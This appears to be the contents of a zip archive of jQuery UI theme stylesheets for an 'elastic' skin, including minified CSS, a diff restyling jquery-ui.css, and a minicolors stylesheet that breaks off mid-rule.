.ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:0;background:0 0;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:0 0}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget .ui-widget{font-size:1rem}.ui-widget-content{background-color:#fff}.ui-widget-header{font-weight:700;background-color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #c5c5c5;background:#f6f6f6;font-weight:400;color:#454545}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#454545;text-decoration:none}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#2b2b2b;text-decoration:none}.ui-visual-focus{box-shadow:0 0 3px 1px #5e9ed6}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #003eff;background:#007fff;font-weight:400;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#003eff;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #dad55e;background:#fffa90;color:#777620}.ui-state-checked{border:1px solid #dad55e;background:#fffa90}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#777620}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #f1a899;background:#fddfdf;color:#5f3f3f}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#5f3f3f}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#5f3f3f}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.5;font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;background-image:none}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(images/ui-icons_444444_256x240.png)}.ui-widget-header .ui-icon{background-image:url(images/ui-icons_444444_256x240.png)}.ui-button .ui-icon{background-image:url(images/ui-icons_777777_256x240.png)}.ui-icon-blank.ui-icon-blank.ui-icon-blank{background-image:none}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0-16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0-32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0-64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0-80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0-96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0-112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0-128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0-144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0-160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0-176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0-192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0-208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0-224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-widget-overlay{opacity:.5}PKh�\��n�+�+2plugins/jqueryui/themes/elastic/jquery-ui.css.diffnu�[���diff --git a/jquery-ui.css.orig b/jquery-ui.css
index 2f0601a..819a492 100644
--- a/jquery-ui.css.orig
+++ b/jquery-ui.css
@@ -45,7 +45,6 @@
 	left: 0;
 	position: absolute;
 	opacity: 0;
-	-ms-filter: "alpha(opacity=0)"; /* support: IE8 */
 }
 
 .ui-front {
@@ -121,13 +120,16 @@
 }
 .ui-menu .ui-menu-item {
 	margin: 0;
-	cursor: pointer;
 	/* support: IE10, see #8844 */
 	list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
 }
 .ui-menu .ui-menu-item-wrapper {
 	position: relative;
-	padding: 3px 1em 3px .4em;
+	padding: 0 .5em;
+	line-height: 2;
+	width: 100%;
+	display: inline-block;
+	text-decoration: none;
 }
 .ui-menu .ui-menu-divider {
 	margin: 5px 0;
@@ -281,8 +283,6 @@ button.ui-button::-moz-focus-inner {
 /* Spinner specific style fixes */
 .ui-controlgroup-vertical .ui-spinner-input {
 
-	/* Support: IE8 only, Android < 4.4 only */
-	width: 75%;
 	width: calc( 100% - 2.4em );
 }
 .ui-controlgroup-vertical .ui-spinner .ui-spinner-up {
@@ -313,63 +313,35 @@ button.ui-button::-moz-focus-inner {
 	pointer-events: none;
 }
 .ui-datepicker {
-	width: 17em;
-	padding: .2em .2em 0;
+	width: 20em;
 	display: none;
 }
 .ui-datepicker .ui-datepicker-header {
 	position: relative;
-	padding: .2em 0;
 }
 .ui-datepicker .ui-datepicker-prev,
 .ui-datepicker .ui-datepicker-next {
 	position: absolute;
-	top: 2px;
+	top: 0;
 	width: 1.8em;
 	height: 1.8em;
 }
-.ui-datepicker .ui-datepicker-prev-hover,
-.ui-datepicker .ui-datepicker-next-hover {
-	top: 1px;
-}
 .ui-datepicker .ui-datepicker-prev {
-	left: 2px;
+	left: 0;
 }
 .ui-datepicker .ui-datepicker-next {
-	right: 2px;
-}
-.ui-datepicker .ui-datepicker-prev-hover {
-	left: 1px;
-}
-.ui-datepicker .ui-datepicker-next-hover {
-	right: 1px;
-}
-.ui-datepicker .ui-datepicker-prev span,
-.ui-datepicker .ui-datepicker-next span {
-	display: block;
-	position: absolute;
-	left: 50%;
-	margin-left: -8px;
-	top: 50%;
-	margin-top: -8px;
+	right: 0;
 }
 .ui-datepicker .ui-datepicker-title {
 	margin: 0 2.3em;
-	line-height: 1.8em;
 	text-align: center;
 }
-.ui-datepicker .ui-datepicker-title select {
-	font-size: 1em;
-	margin: 1px 0;
-}
 .ui-datepicker select.ui-datepicker-month,
 .ui-datepicker select.ui-datepicker-year {
 	width: 45%;
 }
 .ui-datepicker table {
 	width: 100%;
-	font-size: .9em;
-	border-collapse: collapse;
 	margin: 0 0 .4em;
 }
 .ui-datepicker th {
@@ -386,7 +358,7 @@ button.ui-button::-moz-focus-inner {
 .ui-datepicker td a {
 	display: block;
 	padding: .2em;
-	text-align: right;
+	text-align: center;
 	text-decoration: none;
 }
 .ui-datepicker .ui-datepicker-buttonpane {
@@ -454,14 +426,6 @@ button.ui-button::-moz-focus-inner {
 	left: 2px;
 	right: auto;
 }
-.ui-datepicker-rtl .ui-datepicker-prev:hover {
-	right: 1px;
-	left: auto;
-}
-.ui-datepicker-rtl .ui-datepicker-next:hover {
-	left: 1px;
-	right: auto;
-}
 .ui-datepicker-rtl .ui-datepicker-buttonpane {
 	clear: right;
 }
@@ -491,50 +455,34 @@ button.ui-button::-moz-focus-inner {
 	position: absolute;
 	top: 0;
 	left: 0;
-	padding: .2em;
 	outline: 0;
 }
 .ui-dialog .ui-dialog-titlebar {
-	padding: .4em 1em;
 	position: relative;
 }
 .ui-dialog .ui-dialog-title {
 	float: left;
-	margin: .1em 0;
 	white-space: nowrap;
-	width: 90%;
+	width: 100%;
 	overflow: hidden;
 	text-overflow: ellipsis;
 }
-.ui-dialog .ui-dialog-titlebar-close {
-	position: absolute;
-	right: .3em;
-	top: 50%;
-	width: 20px;
-	margin: -10px 0 0 0;
-	padding: 1px;
-	height: 20px;
-}
 .ui-dialog .ui-dialog-content {
 	position: relative;
 	border: 0;
-	padding: .5em 1em;
+	padding: 1em 1em .5em 1em;
 	background: none;
 	overflow: auto;
 }
 .ui-dialog .ui-dialog-buttonpane {
-	text-align: left;
-	border-width: 1px 0 0 0;
+	text-align: right;
+	white-space: nowrap;
 	background-image: none;
-	margin-top: .5em;
-	padding: .3em 1em .5em .4em;
-}
-.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
-	float: right;
+	padding: 0 1.5rem;
+	height: 4rem;
 }
 .ui-dialog .ui-dialog-buttonpane button {
-	margin: .5em .4em .5em 0;
-	cursor: pointer;
+	margin: .65rem 0 .65rem .5rem;
 }
 .ui-dialog .ui-resizable-n {
 	height: 2px;
@@ -560,8 +508,11 @@ button.ui-button::-moz-focus-inner {
 	height: 7px;
 }
 .ui-dialog .ui-resizable-se {
-	right: 0;
-	bottom: 0;
+	width: 14px;
+	height: 14px;
+	right: 3px;
+	bottom: 3px;
+	background-position: -80px -224px;
 }
 .ui-dialog .ui-resizable-sw {
 	left: 0;
@@ -664,7 +615,6 @@ button.ui-button::-moz-focus-inner {
 .ui-progressbar .ui-progressbar-overlay {
 	background: url("data:image/gif;base64,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");
 	height: 100%;
-	-ms-filter: "alpha(opacity=25)"; /* support: IE8 */
 	opacity: 0.25;
 }
 .ui-progressbar-indeterminate .ui-progressbar-value {
@@ -725,7 +675,7 @@ button.ui-button::-moz-focus-inner {
 }
 .ui-slider .ui-slider-handle {
 	position: absolute;
-	z-index: 2;
+	z-index: 1;
 	width: 1.2em;
 	height: 1.2em;
 	cursor: pointer;
@@ -741,12 +691,6 @@ button.ui-button::-moz-focus-inner {
 	background-position: 0 0;
 }
 
-/* support: IE8 - See #6727 */
-.ui-slider.ui-state-disabled .ui-slider-handle,
-.ui-slider.ui-state-disabled .ui-slider-range {
-	filter: inherit;
-}
-
 .ui-slider-horizontal {
 	height: .8em;
 }
@@ -883,39 +827,15 @@ body .ui-tooltip {
 
 /* Component containers
 ----------------------------------*/
-.ui-widget {
-	font-family: Arial,Helvetica,sans-serif;
-	font-size: 1em;
-}
 .ui-widget .ui-widget {
-	font-size: 1em;
-}
-.ui-widget input,
-.ui-widget select,
-.ui-widget textarea,
-.ui-widget button {
-	font-family: Arial,Helvetica,sans-serif;
-	font-size: 1em;
-}
-.ui-widget.ui-widget-content {
-	border: 1px solid #c5c5c5;
+	font-size: 1rem;
 }
 .ui-widget-content {
-	border: 1px solid #dddddd;
-	background: #ffffff;
-	color: #333333;
-}
-.ui-widget-content a {
-	color: #333333;
+	background-color: #fff;
 }
 .ui-widget-header {
-	border: 1px solid #dddddd;
-	background: #e9e9e9;
-	color: #333333;
 	font-weight: bold;
-}
-.ui-widget-header a {
-	color: #333333;
+	background-color: #fff;
 }
 
 /* Interaction states
@@ -944,19 +864,6 @@ a:visited.ui-button,
 	color: #454545;
 	text-decoration: none;
 }
-.ui-state-hover,
-.ui-widget-content .ui-state-hover,
-.ui-widget-header .ui-state-hover,
-.ui-state-focus,
-.ui-widget-content .ui-state-focus,
-.ui-widget-header .ui-state-focus,
-.ui-button:hover,
-.ui-button:focus {
-	border: 1px solid #cccccc;
-	background: #ededed;
-	font-weight: normal;
-	color: #2b2b2b;
-}
 .ui-state-hover a,
 .ui-state-hover a:hover,
 .ui-state-hover a:link,
@@ -1040,20 +947,15 @@ a.ui-button:active,
 .ui-priority-secondary,
 .ui-widget-content .ui-priority-secondary,
 .ui-widget-header .ui-priority-secondary {
-	opacity: .7;
-	-ms-filter: "alpha(opacity=70)"; /* support: IE8 */
+	opacity: .5;
 	font-weight: normal;
 }
 .ui-state-disabled,
 .ui-widget-content .ui-state-disabled,
 .ui-widget-header .ui-state-disabled {
 	opacity: .35;
-	-ms-filter: "alpha(opacity=35)"; /* support: IE8 */
 	background-image: none;
 }
-.ui-state-disabled .ui-icon {
-	-ms-filter: "alpha(opacity=35)"; /* support: IE8 - See #6059 */
-}
 
 /* Icons
 ----------------------------------*/
@@ -1070,24 +972,6 @@ a.ui-button:active,
 .ui-widget-header .ui-icon {
 	background-image: url("images/ui-icons_444444_256x240.png");
 }
-.ui-state-hover .ui-icon,
-.ui-state-focus .ui-icon,
-.ui-button:hover .ui-icon,
-.ui-button:focus .ui-icon {
-	background-image: url("images/ui-icons_555555_256x240.png");
-}
-.ui-state-active .ui-icon,
-.ui-button:active .ui-icon {
-	background-image: url("images/ui-icons_ffffff_256x240.png");
-}
-.ui-state-highlight .ui-icon,
-.ui-button .ui-state-highlight.ui-icon {
-	background-image: url("images/ui-icons_777620_256x240.png");
-}
-.ui-state-error .ui-icon,
-.ui-state-error-text .ui-icon {
-	background-image: url("images/ui-icons_cc0000_256x240.png");
-}
 .ui-button .ui-icon {
 	background-image: url("images/ui-icons_777777_256x240.png");
 }
@@ -1273,43 +1157,7 @@ a.ui-button:active,
 .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
 .ui-icon-grip-diagonal-se { background-position: -80px -224px; }
 
-
-/* Misc visuals
-----------------------------------*/
-
-/* Corner radius */
-.ui-corner-all,
-.ui-corner-top,
-.ui-corner-left,
-.ui-corner-tl {
-	border-top-left-radius: 3px;
-}
-.ui-corner-all,
-.ui-corner-top,
-.ui-corner-right,
-.ui-corner-tr {
-	border-top-right-radius: 3px;
-}
-.ui-corner-all,
-.ui-corner-bottom,
-.ui-corner-left,
-.ui-corner-bl {
-	border-bottom-left-radius: 3px;
-}
-.ui-corner-all,
-.ui-corner-bottom,
-.ui-corner-right,
-.ui-corner-br {
-	border-bottom-right-radius: 3px;
-}
-
 /* Overlays */
 .ui-widget-overlay {
-	background: #aaaaaa;
-	opacity: .003;
-	-ms-filter: Alpha(Opacity=.3); /* support: IE8 */
-}
-.ui-widget-shadow {
-	-webkit-box-shadow: 0px 0px 5px #666666;
-	box-shadow: 0px 0px 5px #666666;
+	opacity: .5;
 }
PKh�\���9plugins/jqueryui/themes/elastic/jquery.minicolors.min.cssnu�[���.minicolors{position:relative}.minicolors-sprite{background-image:url(images/jquery.minicolors.png)}.minicolors-swatch{position:absolute;vertical-align:middle;background-position:-80px 0;cursor:text;padding:0;margin:0;display:inline-block}.minicolors-swatch-color{position:absolute;top:0;left:0;right:0;bottom:0}.minicolors input[type=hidden]+.minicolors-swatch{width:28px;position:static;cursor:pointer}.minicolors input[type=hidden][disabled]+.minicolors-swatch{cursor:default}.minicolors-panel{position:absolute;width:173px;background:#fff;z-index:99999;box-sizing:content-box;display:none}.minicolors-panel.minicolors-visible{display:block}.minicolors-position-top .minicolors-panel{top:-154px}.minicolors-position-right .minicolors-panel{right:0}.minicolors-position-bottom .minicolors-panel{top:auto}.minicolors-position-left .minicolors-panel{left:0}.minicolors-with-opacity .minicolors-panel{width:194px}.minicolors .minicolors-grid{position:relative;top:1px;left:1px;width:150px;height:150px;margin-bottom:2px;background-position:-120px 0;cursor:crosshair}[dir=rtl] .minicolors .minicolors-grid{right:1px}.minicolors .minicolors-grid-inner{position:absolute;top:0;left:0;width:150px;height:150px}.minicolors-slider-saturation .minicolors-grid{background-position:-420px 0}.minicolors-slider-saturation .minicolors-grid-inner{background-position:-270px 0;background-image:inherit}.minicolors-slider-brightness .minicolors-grid{background-position:-570px 0}.minicolors-slider-brightness .minicolors-grid-inner{background-color:#000}.minicolors-slider-wheel .minicolors-grid{background-position:-720px 0}.minicolors-slider,.minicolors-opacity-slider{position:absolute;top:2px;left:153px;width:20px;height:150px;background-color:#fff;background-position:0 0;cursor:row-resize}[dir=rtl] .minicolors-slider,[dir=rtl] .minicolors-opacity-slider{right:152px}.minicolors-slider-saturation .minicolors-slider{background-position:-60px 0}.minicolors-slider-brightness .minicolors-slider{background-position:-20px 0}.minicolors-slider-wheel .minicolors-slider{background-position:-20px 0}.minicolors-opacity-slider{left:173px;background-position:-40px 0;display:none}[dir=rtl] .minicolors-opacity-slider{right:173px}.minicolors-with-opacity .minicolors-opacity-slider{display:block}.minicolors-grid .minicolors-picker{position:absolute;top:70px;left:70px;width:12px;height:12px;border:solid 1px 